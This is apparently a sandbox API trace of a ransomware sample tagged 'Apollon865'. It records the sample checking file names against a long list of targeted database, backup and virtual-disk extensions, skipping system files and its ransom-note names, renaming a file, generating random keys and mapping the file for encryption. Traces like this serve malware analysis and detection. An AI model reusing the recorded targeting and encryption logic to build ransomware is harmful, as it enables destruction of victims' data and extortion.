	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.367] lstrlenW (lpString="lwx") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.367] lstrlenW (lpString="maf") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.367] lstrlenW (lpString="maq") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.367] lstrlenW (lpString="mar") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.367] lstrlenW (lpString="marshal") returned 7
	[0078.367] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.367] lstrlenW (lpString="mas") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.367] lstrlenW (lpString="mav") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.367] lstrlenW (lpString="maw") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.367] lstrlenW (lpString="mdbhtml") returned 7
	[0078.367] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.367] lstrlenW (lpString="mdn") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.368] lstrlenW (lpString="mdt") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.368] lstrlenW (lpString="mfd") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.368] lstrlenW (lpString="mpd") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.368] lstrlenW (lpString="mrg") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.368] lstrlenW (lpString="mud") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.368] lstrlenW (lpString="mwb") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.368] lstrlenW (lpString="myd") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.368] lstrlenW (lpString="ndf") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.368] lstrlenW (lpString="nnt") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.368] lstrlenW (lpString="nrmlib") returned 6
	[0078.368] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.368] lstrlenW (lpString="ns2") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.368] lstrlenW (lpString="ns3") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.368] lstrlenW (lpString="ns4") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.368] lstrlenW (lpString="nsf") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.368] lstrlenW (lpString="nv") returned 2
	[0078.368] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.368] lstrlenW (lpString="nv2") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.368] lstrlenW (lpString="nwdb") returned 4
	[0078.368] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.368] lstrlenW (lpString="nyf") returned 3
	[0078.368] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.369] lstrlenW (lpString="odb") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.369] lstrlenW (lpString="odb") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.369] lstrlenW (lpString="oqy") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.369] lstrlenW (lpString="ora") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.369] lstrlenW (lpString="orx") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.369] lstrlenW (lpString="owc") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.369] lstrlenW (lpString="p96") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.369] lstrlenW (lpString="p97") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.369] lstrlenW (lpString="pan") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.369] lstrlenW (lpString="pdb") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.369] lstrlenW (lpString="pdm") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.369] lstrlenW (lpString="pnz") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.369] lstrlenW (lpString="qry") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.369] lstrlenW (lpString="qvd") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.369] lstrlenW (lpString="rbf") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.369] lstrlenW (lpString="rctd") returned 4
	[0078.369] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.369] lstrlenW (lpString="rod") returned 3
	[0078.369] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.369] lstrlenW (lpString="rodx") returned 4
	[0078.369] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.369] lstrlenW (lpString="rpd") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.370] lstrlenW (lpString="rsd") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.370] lstrlenW (lpString="sas7bdat") returned 8
	[0078.370] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.370] lstrlenW (lpString="sbf") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.370] lstrlenW (lpString="scx") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.370] lstrlenW (lpString="sdb") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.370] lstrlenW (lpString="sdc") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.370] lstrlenW (lpString="sdf") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.370] lstrlenW (lpString="sis") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.370] lstrlenW (lpString="spq") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.370] lstrlenW (lpString="te") returned 2
	[0078.370] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.370] lstrlenW (lpString="teacher") returned 7
	[0078.370] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.370] lstrlenW (lpString="tmd") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.370] lstrlenW (lpString="tps") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.370] lstrlenW (lpString="trc") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.370] lstrlenW (lpString="trc") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.370] lstrlenW (lpString="trm") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.370] lstrlenW (lpString="udb") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.370] lstrlenW (lpString="udl") returned 3
	[0078.370] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.370] lstrlenW (lpString="usr") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.371] lstrlenW (lpString="v12") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.371] lstrlenW (lpString="vis") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.371] lstrlenW (lpString="vpd") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.371] lstrlenW (lpString="vvv") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.371] lstrlenW (lpString="wdb") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.371] lstrlenW (lpString="wmdb") returned 4
	[0078.371] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.371] lstrlenW (lpString="wrk") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.371] lstrlenW (lpString="xdb") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.371] lstrlenW (lpString="xld") returned 3
	[0078.371] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.371] lstrlenW (lpString="xmlff") returned 5
	[0078.371] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.371] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.Apollon865") returned 72
	[0078.371] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0078.372] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=368) returned 1
	[0078.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfab8
	[0078.373] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.373] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.373] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.374] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0xc0
	[0078.385] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000
	[0078.389] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfb40) returned 1
	[0078.390] CryptGenRandom (in: hProv=0x5bfb40, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.390] CryptReleaseContext (hProv=0x5bfb40, dwFlags=0x0) returned 1
	[0078.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.390] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0078.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0078.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.391] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.413] CloseHandle (hObject=0xc0) returned 1
	[0078.414] CloseHandle (hObject=0x10c) returned 1
	[0078.415] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.415] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0078.415] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.420] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".") returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="..") returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="windows") returned -1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="temp") returned -1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="boot") returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.420] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.420] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20
	[0078.420] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned 61
	[0078.420] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.MSOUC.14.1033.hxn" | out: lpString1="MS.MSOUC.14.1033.hxn") returned="MS.MSOUC.14.1033.hxn"
	[0078.420] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20
	[0078.421] lstrlenW (lpString="Apollon865") returned 10
	[0078.421] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.421] lstrlenW (lpString=".dll") returned 4
	[0078.421] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".dll") returned 1
	[0078.421] lstrlenW (lpString=".lnk") returned 4
	[0078.421] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.421] lstrlenW (lpString=".ini") returned 4
	[0078.421] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".ini") returned 1
	[0078.421] lstrlenW (lpString=".sys") returned 4
	[0078.421] lstrcmpiW (lpString1="MS.MSOUC.14.1033.hxn", lpString2=".sys") returned 1
	[0078.421] lstrlenW (lpString="MS.MSOUC.14.1033.hxn") returned 20
	[0078.421] lstrlenW (lpString="bak") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.421] lstrlenW (lpString="ba_") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.421] lstrlenW (lpString="dbb") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.421] lstrlenW (lpString="vmdk") returned 4
	[0078.421] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.421] lstrlenW (lpString="rar") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.421] lstrlenW (lpString="zip") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.421] lstrlenW (lpString="tgz") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.421] lstrlenW (lpString="vbox") returned 4
	[0078.421] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.421] lstrlenW (lpString="vdi") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.421] lstrlenW (lpString="vhd") returned 3
	[0078.421] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.421] lstrlenW (lpString="vhdx") returned 4
	[0078.421] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.421] lstrlenW (lpString="avhd") returned 4
	[0078.421] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.421] lstrlenW (lpString="db") returned 2
	[0078.422] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.422] lstrlenW (lpString="db2") returned 3
	[0078.422] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.422] lstrlenW (lpString="db3") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.426] lstrlenW (lpString="dbf") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.426] lstrlenW (lpString="mdf") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.426] lstrlenW (lpString="mdb") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.426] lstrlenW (lpString="sql") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.426] lstrlenW (lpString="sqlite") returned 6
	[0078.426] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.426] lstrlenW (lpString="sqlite3") returned 7
	[0078.426] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.426] lstrlenW (lpString="sqlitedb") returned 8
	[0078.426] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.426] lstrlenW (lpString="xml") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.426] lstrlenW (lpString="$er") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.426] lstrlenW (lpString="4dd") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.426] lstrlenW (lpString="4dl") returned 3
	[0078.426] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.426] lstrlenW (lpString="^^^") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.427] lstrlenW (lpString="abs") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.427] lstrlenW (lpString="abx") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.427] lstrlenW (lpString="accdb") returned 5
	[0078.427] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.427] lstrlenW (lpString="accdc") returned 5
	[0078.427] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.427] lstrlenW (lpString="accde") returned 5
	[0078.427] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.427] lstrlenW (lpString="accdr") returned 5
	[0078.427] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.427] lstrlenW (lpString="accdt") returned 5
	[0078.427] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.427] lstrlenW (lpString="accdw") returned 5
	[0078.427] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.427] lstrlenW (lpString="accft") returned 5
	[0078.427] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.427] lstrlenW (lpString="adb") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.427] lstrlenW (lpString="adb") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.427] lstrlenW (lpString="ade") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.427] lstrlenW (lpString="adf") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.427] lstrlenW (lpString="adn") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.427] lstrlenW (lpString="adp") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.427] lstrlenW (lpString="alf") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.427] lstrlenW (lpString="ask") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.427] lstrlenW (lpString="btr") returned 3
	[0078.427] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.428] lstrlenW (lpString="cat") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.428] lstrlenW (lpString="cdb") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.428] lstrlenW (lpString="ckp") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.428] lstrlenW (lpString="cma") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.428] lstrlenW (lpString="cpd") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.428] lstrlenW (lpString="dacpac") returned 6
	[0078.428] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.428] lstrlenW (lpString="dad") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.428] lstrlenW (lpString="dadiagrams") returned 10
	[0078.428] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.428] lstrlenW (lpString="daschema") returned 8
	[0078.428] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.428] lstrlenW (lpString="db-journal") returned 10
	[0078.428] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.428] lstrlenW (lpString="db-shm") returned 6
	[0078.428] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.428] lstrlenW (lpString="db-wal") returned 6
	[0078.428] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.428] lstrlenW (lpString="dbc") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.428] lstrlenW (lpString="dbs") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.428] lstrlenW (lpString="dbt") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.428] lstrlenW (lpString="dbv") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.428] lstrlenW (lpString="dbx") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.428] lstrlenW (lpString="dcb") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.428] lstrlenW (lpString="dct") returned 3
	[0078.428] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.429] lstrlenW (lpString="dcx") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.429] lstrlenW (lpString="ddl") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.429] lstrlenW (lpString="dlis") returned 4
	[0078.429] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.429] lstrlenW (lpString="dp1") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.429] lstrlenW (lpString="dqy") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.429] lstrlenW (lpString="dsk") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.429] lstrlenW (lpString="dsn") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.429] lstrlenW (lpString="dtsx") returned 4
	[0078.429] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.429] lstrlenW (lpString="dxl") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.429] lstrlenW (lpString="eco") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.429] lstrlenW (lpString="ecx") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.429] lstrlenW (lpString="edb") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.429] lstrlenW (lpString="epim") returned 4
	[0078.429] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.429] lstrlenW (lpString="fcd") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.429] lstrlenW (lpString="fdb") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.429] lstrlenW (lpString="fic") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.429] lstrlenW (lpString="flexolibrary") returned 12
	[0078.429] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.429] lstrlenW (lpString="fm5") returned 3
	[0078.429] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.430] lstrlenW (lpString="fmp") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.430] lstrlenW (lpString="fmp12") returned 5
	[0078.430] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.430] lstrlenW (lpString="fmpsl") returned 5
	[0078.430] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.430] lstrlenW (lpString="fol") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.430] lstrlenW (lpString="fp3") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.430] lstrlenW (lpString="fp4") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.430] lstrlenW (lpString="fp5") returned 3
	[0078.430] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
